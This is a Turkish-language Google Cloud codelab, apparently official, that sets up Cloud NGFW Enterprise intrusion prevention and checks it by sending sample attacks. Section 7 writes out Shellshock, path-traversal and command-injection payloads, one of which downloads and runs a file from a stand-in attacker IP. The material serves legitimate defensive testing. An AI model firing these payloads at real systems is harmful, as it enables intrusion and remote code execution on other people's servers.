1. Giriş
Cloud Next Generation Güvenlik Duvarı (NGFW)
Cloud Next Generation Firewall, Google Cloud iş yüklerinizi dahili ve harici saldırılardan korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve geniş kapsama sahip, tümüyle dağıtılmış bir güvenlik duvarı hizmetidir.
Cloud NGFW aşağıdaki avantajları sunar:
- Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisi sağlamak için her iş yükü üzerinde durum bilgili ve tam olarak dağıtılmış, ana makine tabanlı bir yaptırım sağlar.
- Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilecek ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
- Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) destekli Etiketler'in birlikte kullanılması, Sanal Özel Bulut (VPC) ağlarında ve kuruluşlarında tek bir sanal makineye kadar hem kuzey-güney hem de doğu-batı trafiği için hassas kontrol sağlar.
Cloud NGFW aşağıdaki katmanlarda kullanılabilir:
- Cloud Yeni Nesil Güvenlik Duvarıyla İlgili Temel Bilgiler
- Cloud Yeni Nesil Güvenlik Duvarı Standardı
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, dağıtılmış Google Cloud Güvenlik Duvarı yapısına 7. Katman özelliği olan Intrusion Prevention Service (IPS)'i ekledi. TLS denetimi, TLS şifreli trafiğin denetlenmesini sağlamak için desteklenir ancak bu codelab'in kapsamı dışındadır (TLS Denetimi ile Cloud NGFW Enterprise Codelab başlıklı makaleyi inceleyin).
Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan, ayrıntılı kontrollerle güvenilir Katman 7 Yeni Nesil Güvenlik Duvarı (NGFW) denetimlerini dağıtabilirsiniz.
IPS ile Katman 7 güvenlik duvarı denetimini etkinleştirip dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:
- Google Cloud tarafından yönetilen bir dizi alt bölgesel güvenlik duvarı uç noktası oluşturun.
- İsteğe bağlı olarak TLS Denetleme Politikası oluşturun (bu codelab'de ele alınmamıştır)
- İsteğe bağlı olarak bir Güven Yapılandırması oluşturun (bu codelab'de ele alınmamıştır)
- Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyacınız olan Sanal Özel Bulut (VPC) ağlarıyla ilişkilendirin.
- Çeşitli trafik yolları için tehdit önleme profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.
Ağ güvenlik duvarı politikaları
Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için bir kapsayıcı görevi görür. Ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağıyla ilişkilendirilene kadar hiçbir yerde zorunlu kılınmaz. Her VPC ağının kendisiyle ilişkilendirilmiş bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.
Ağlar arasında bir ağ güvenlik duvarı politikasının paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyon, güvenlik duvarlarının yapılandırmasını ve yönetimini büyük ölçüde basitleştirir.
Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşmaktadır:
- Hiyerarşik Güvenlik Duvarı Politikası
- VPC Güvenlik Duvarı Kuralları
- Ağ Güvenlik Duvarı Politikası ( Global ve Bölgesel)
Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenirken VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki önemli fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanmasıdır. Ağ güvenlik duvarı politikalarının ise toplu güncellemeler gibi diğer avantajların yanı sıra tek bir VPC'ye veya VPC grubuna bağlanabilir.
Son olarak, her VPC ağıyla birlikte gelen ima edilen güvenlik duvarı kurallarımız da vardır:
- İşlemine izin verilen bir çıkış kuralı, hedefi 0.0.0.0/0
- İşlemi reddet olan bir giriş kuralı (kaynağı 0.0.0.0/0)
Varsayılan olarak, yaptırım sırası aşağıdaki şemada gösterilir:
VPC güvenlik duvarı kuralları ile küresel ağ güvenlik duvarı politikası arasındaki yaptırım emrinin değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutuyla istedikleri zaman yaptırım kararını belirtebilir.
IAM tarafından yönetilen Etiketler
Yeni Ağ güvenlik duvarı politika kurallarına entegre olan etiketler, Google Cloud kaynak hiyerarşisinin kuruluşunda veya proje düzeyinde tanımlanan anahtar/değer çifti kaynaklarıdır. Adından da anlaşılacağı gibi bu tür bir Etiket, etikette kimin ne yapabileceğini belirten bir IAM erişim kontrolü içerir. Örneğin, IAM izinleri hangi ana hesapların etiketlere değer atayabileceğini ve kaynaklara etiket ekleyebilecek ana hesapları belirlemeyi sağlar. Etiket bir kaynağa uygulandığında, ağ güvenlik duvarı kuralları trafiğe izin vermek veya trafiği reddetmek için bu etiketi kullanabilir.
Etiketler, Google Cloud'un devralma kaynak modeline bağlıdır. Diğer bir deyişle, etiketler ve değerleri üst öğelerden hiyerarşiye aktarılır. Sonuç olarak, etiketler bir yerde oluşturulabilir ve ardından kaynak hiyerarşisindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılar için bu sayfayı ziyaret edin.
Etiketler ağ etiketleri ile karıştırılmamalıdır. İkincisi ise Compute Engine örneklerine eklenebilen dizelerdir; örnekle ilişkilendirilir ve örnek kullanımdan kaldırıldığında kaybolur. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynağı olarak kabul edilmedikleri için IAM erişim kontrolüne tabi değildirler.
Etiketlerin ve IAM tarafından yönetilen etiketlerin bu dokümanda birbirinin yerine kullanıldığını unutmayın.
Oluşturacaklarınız
Bu codelab, tek bir proje ile herkese açık bağlantıyla VPC ağı oluşturmak için gereklidir ve Cloud NGFW Enterprise'ın aşağıdakileri yaparak IPS işlevini nasıl sağlayabileceğini gösterir:
- VPC/alt ağ içi akışları inceleme [Doğu-Batı]
- İnternet'ten giriş akışlarını inceleme [Kuzey-Güney]
İncelenecek akışlar, 5 unsurlu (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve Etiketler dahil Cloud Firewall eşleşme parametreleri kullanılarak seçilir. TLS Denetleme, bu codelab'e dahil değildir.
Ağ güvenlik duvarı politikası kural tabanı, aşağıdaki tabloya benzer:
Öncelik | Yön | Target | Kaynak | Hedef | İşlem | Tür |
100 | Çıkış | Quarantine_Tag | Tümü | Tümü | Reddet | Essentials |
1000 | Giriş | Server_Tag | Durum Denetimi Aralıkları | Tümü | İzin ver | Essentials |
2000 | Giriş | Tümü | Identity-Aware Proxy Aralıkları | Tümü | İzin ver | Essentials |
3000 | Giriş | Tümü | Coğrafi, GCTI | Tümü | Reddet | Standart |
4000 | Çıkış | Tümü | Tümü | Coğrafi, GCTI | Reddet | Standart |
5000 | Çıkış | Tümü | Tümü | Sistem güncelleme FQDN'leri | İzin ver | Standart |
6.000 | Giriş | Server_Tag | 10.0.0.0/24 | Tümü | IPS | Kurumsal |
7000 | Giriş | Server_Tag | CloudNAT_IP | Tümü | IPS | Kurumsal |
Neler öğreneceksiniz?
- Global ağ güvenlik duvarı politikası oluşturma
- Ağ güvenlik duvarı politikasına sahip etiketler oluşturma ve kullanma
- Cloud NGFW Enterprise İzinsiz Giriş Önleme Hizmeti'ni yapılandırma ve kullanma
Gerekenler
- Google Cloud projesi
- Örnekleri dağıtma ve ağ bileşenlerini yapılandırma hakkında bilgi
- VPC güvenlik duvarı yapılandırma bilgisi
2. Başlamadan önce
Değişkenleri oluşturma/güncelleme
Bu codelab'de, Cloud Shell'de gcloud yapılandırması uygulamasına yardımcı olmak için $variables kullanılır.
Cloud Shell'de, aşağıdaki komutları köşeli parantezler içindeki bilgileri gerektiği şekilde değiştirerek çalıştırın (istenen dosya zaten ayarlanmışsa projeyi ayarlamayı atlayın). Birden fazla değişken varsa kuruluş düzeyindeki kaynaklar için farklı bir değişken kullanılır (ör. gerekli olduğundan emin olun.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. API'leri etkinleştir
Henüz yapmadıysanız API'leri etkinleştirin:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise Güvenlik Profili ve Uç Nokta Oluşturma
Cloud NGFW Enterprise uç noktası oluşturma işlemi yaklaşık 20 dakika sürdüğünden önce uç nokta oluşturulur. Ardından temel kurulum, uç nokta oluşturulurken paralel olarak yapılabilir.
Güvenlik Profili ve Güvenlik Profili Grubu'nu oluşturun:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Beklenen çıkış:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Kaynakların başarıyla oluşturulduğunu onaylayın:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Beklenen çıkış:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW Enterprise uç noktasını oluşturun:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Uç noktanın oluşturulmakta olduğunu onaylamak için aşağıdaki komutu çalıştırın (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Beklenen çıkış:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Uç nokta oluşturma işlemi yaklaşık 20 dakika sürer. Paralel olarak gerekli kaynakları oluşturmak için Temel Kurulum bölümüne geçin.
5. Temel Kurulum
Temel kaynakları manuel olarak oluşturmayı tercih ediyorsanız aşağıdaki bölümlere geçin.
VPC ağı ve alt ağ
VPC Ağı ve alt ağ
VPC ağını ve alt ağı oluşturun:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router'ları ve Cloud NAT ağ geçitlerini oluşturun:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Dersiler
İstemci ve web sunucusu örneklerini oluşturun:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
P roject düzeyindeki Etiketler
Gerekirse kullanıcıya tagAdmin ve/veya tagUser izinlerini atayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Proje düzeyinde etiket anahtarı ve değerlerini oluşturun:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Etiketleri örneklere bağlayın:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Global ağ güvenlik duvarı politikası
Küresel ağ güvenlik duvarı politikası oluşturun:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Karantinaya alınan örneklerden gelen trafiği reddetmek (yalnızca örnek olarak oluşturulur, bu codelab'de kullanılmadan) için Cloud Firewall Temel kuralları oluşturun ve health-check ile kimliğe duyarlı proxy aralıklarından gelen trafiğe izin verin:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Ambargo uygulanan ülkelere, bilinen kötü amaçlı IP'lere ve ToR çıkış düğümlerine giriş ve çıkış trafiğini engellemek için Cloud Güvenlik Duvarı Standardı kuralları oluşturun. ve sistem güncellemeleri için yalnızca belirli FQDN'lere çıkış trafiğine izin verin (yalnızca örnek olarak oluşturulur, bu codelab'de kullanılmaz):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Belirli aralıklardan doğu-batı / alt ağ içi giriş ve kuzey-güney / internet trafiğine izin vermek için Cloud Güvenlik Duvarı kuralları oluşturun (Bu kurallar Cloud NGFW Enterprise'ın etkinleştirilebilmesi için güncellenecektir):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Ağ güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Harici TCP/UDP Ağ Yük Dengeleyici
Harici bir IP adresi ayırıp örnek grubunu oluşturun ve durum denetimini karşılayın:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Arka uç hizmetini ve iletim kuralını oluşturun:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Kurumsal Uç Nokta İlişkilendirmesi
Gerekirse ortam değişkenlerini yeniden tanımlayın.
Cloud Güvenlik Duvarı Uç Noktası oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum CREATING olur):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Beklenen çıkış:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Cloud NGFW Enterprise uç noktasını VPC ağıyla ilişkilendirin:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
İlişkilendirme işlemi yaklaşık 10 dakika sürer. Yalnızca durum ETKİN olarak gösterildikten sonra devam edin (beklenen durum, oluşturma işlemi sırasında OLUŞTURULuyor'dur):
gcloud network-security firewall-endpoint-associations list
Beklenen çıkış:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Beklenen çıkış:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise Denetleme Kuralları
Yeni bir sekme açın ve IAP üzerinden istemci sanal makinesine SSH bağlantısı başlatın (değişkenleri yeni sekmede tekrar tanımlamanız gerekir):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
SSH oturumunda gerekli değişkenleri tanımlayın ve değişkenleri ayarlayın (değerlerin doğru olduğundan emin olun):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
erişilebilir olduklarını onaylamak için her iki IP'yi de kıvırın:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Her iki curl isteği için beklenen sonuç:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Dahili sunucu IP'sine (Doğu-Batı / VPC içi trafik) örnek saldırılar gönderin. Web sunucusu tüm isteklere yanıt vererek L7'de gerekli inceleme/engellemenin olmadığını onaylamalıdır:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Örnek saldırıları Cloud NAT (Kuzey-Güney gelen trafik) üzerinden harici sunucu IP'sine yeniden gönderdiğinizde web sunucusu da benzer şekilde tüm isteklere yanıt vermelidir:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Hem genel hem de özel IP'ler için beklenen sonuçlar:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Cloud Shell'e geri dönün ve mevcut giriş kurallarını L7 denetimini etkinleştirecek şekilde güncelleyin:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
İsteğe bağlı olarak, her ikisinin de başarıyla güncellendiğini doğrulamak için güvenlik duvarı kurallarını açıklayın:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Beklenen çıkış:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
7000. Kural:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Beklenen çıkış:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
İstemci sanal makinesine geri dönün ve örnek saldırıları dahili sunucu IP'sine (Doğu-Batı / VPC içi denetim) yeniden gönderin:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Örnek saldırıları Cloud NAT (Kuzey-Güney gelen denetim denetimi) aracılığıyla harici sunucu IP'sine yeniden gönderin:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Aşağıda beklenen çıktıya göre ilk saldırılar için hiç yanıt alınmadı. Bu, yüksek önem düzeyine sahip saldırıların artık engellendiğini gösteriyor.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Ağ Güvenliği > Cloud Console'da günlükleri doğrulamaya yönelik tehditler (Saldırılar henüz görünmüyorsa birkaç kez yenilemeniz gerekebilir).
Saldırılardan birini seçip "Denetleme günlüğünü görüntüle"yi tıklayın 'i tıklayın (kolayca geri dönmek için yeni bir sekmede açın). Saldırıyı genişleterek ayrıntıları gösterin:
İsteğe bağlı olarak, Günlük Gezgini filtresini aşağıdaki sorguyla değiştirin:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Tehdit günlüğü girişleri aşağıdaki gibi görünmelidir:
Cloud Güvenlik Duvarı'nda müdahale edilen paketler, aşağıdaki Günlük Gezgini filtresi kullanılarak doğrulanabilir (sorun giderme açısından faydalıdır):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
İnternet trafiği denetimine geçin (isteğe bağlı) veya SSH oturumunu kapatıp temizleme adımları için sonraki bölüme geçin.
[İsteğe bağlı] İnternet trafiği denetimi
Önceki bölümde doğrulandığı gibi, şu ana kadar incelenen akışlar alt ağ içi/VPC (Doğu-Batı) ve internetten gelen trafiktir (Kuzey-Güney gelen). Cloud NGFW Enterprise, Cloud Shell ile yeni bir çıkış kuralı oluşturarak tüm internet trafiğini (Kuzey-Güney giden) kontrol edecek şekilde de yapılandırılabilir:
